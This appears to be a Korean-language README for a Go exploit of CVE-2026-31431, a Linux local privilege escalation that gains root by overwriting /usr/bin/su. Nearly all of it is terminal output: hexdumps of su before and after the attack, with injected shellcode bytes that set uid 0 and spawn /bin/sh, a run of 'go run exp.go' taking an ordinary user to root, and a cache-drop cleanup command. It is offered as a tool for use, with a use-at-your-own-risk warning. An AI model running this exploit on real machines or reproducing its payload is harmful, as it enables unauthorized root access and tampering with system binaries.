cs8425/copy-fail-go# CVE-2026-31431용 Go 기반 익스플로잇 로컬 권한 상승 취약점으로, Linux 배포판에서 루트 액세스를 얻기 위해 /usr/bin/su를 수정합니다.
⚠️ 경고: 이 프로그램은 매우 위험하며 실험적입니다. 익스플로잇을 제거하려면 수동 정리가 필요합니다. 사용에 따른 책임은 본인에게 있습니다!
/usr/bin/su 확인:user@pc:~$ hexdump -n 300 -x /usr/bin/su
0000000 457f 464c 0102 0001 0000 0000 0000 0000
0000010 0003 003e 0001 0000 44d0 0000 0000 0000
0000020 0040 0000 0000 0000 d1c0 0000 0000 0000
0000030 0000 0000 0040 0038 000d 0040 001f 001e
0000040 0006 0000 0004 0000 0040 0000 0000 0000
0000050 0040 0000 0000 0000 0040 0000 0000 0000
0000060 02d8 0000 0000 0000 02d8 0000 0000 0000
0000070 0008 0000 0000 0000 0003 0000 0004 0000
0000080 0318 0000 0000 0000 0318 0000 0000 0000
0000090 0318 0000 0000 0000 001c 0000 0000 0000
00000a0 001c 0000 0000 0000 0001 0000 0000 0000
00000b0 0001 0000 0004 0000 0000 0000 0000 0000
00000c0 0000 0000 0000 0000 0000 0000 0000 0000
00000d0 2608 0000 0000 0000 2608 0000 0000 0000
00000e0 1000 0000 0000 0000 0001 0000 0005 0000
00000f0 3000 0000 0000 0000 3000 0000 0000 0000
0000100 3000 0000 0000 0000 6eb1 0000 0000 0000
0000110 6eb1 0000 0000 0000 1000 0000 0000 0000
0000120 0001 0000 0004 0000 a000 0000
000012c
user@pc:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),132(lxd),133(sambashare),135(docker)
user@pc:~$ go run exp.go
# id
uid=0(root) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),132(lxd),133(sambashare),135(docker)
#
/usr/bin/su 확인:user@pc:~$ hexdump -n 300 -x /usr/bin/su
0000000 457f 464c 0102 0001 0000 0000 0000 0000
0000010 0002 003e 0001 0000 0078 0040 0000 0000
0000020 0040 0000 0000 0000 0000 0000 0000 0000
0000030 0000 0000 0040 0038 0001 0000 0000 0000
0000040 0001 0000 0005 0000 0000 0000 0000 0000
0000050 0000 0040 0000 0000 0000 0040 0000 0000
0000060 009e 0000 0000 0000 009e 0000 0000 0000
0000070 1000 0000 0000 0000 c031 ff31 69b0 050f
0000080 8d48 0f3d 0000 3100 6af6 583b 0f99 3105
0000090 6aff 583c 050f 622f 6e69 732f 0068 0000
00000a0 001c 0000 0000 0000 0001 0000 0000 0000
00000b0 0001 0000 0004 0000 0000 0000 0000 0000
00000c0 0000 0000 0000 0000 0000 0000 0000 0000
00000d0 2608 0000 0000 0000 2608 0000 0000 0000
00000e0 1000 0000 0000 0000 0001 0000 0005 0000
00000f0 3000 0000 0000 0000 3000 0000 0000 0000
0000100 3000 0000 0000 0000 6eb1 0000 0000 0000
0000110 6eb1 0000 0000 0000 1000 0000 0000 0000
0000120 0001 0000 0004 0000 a000 0000
000012c
루트 권한이 필요하거나, 재부팅이 필요합니다
root@pc:~# echo 3 > /proc/sys/vm/drop_caches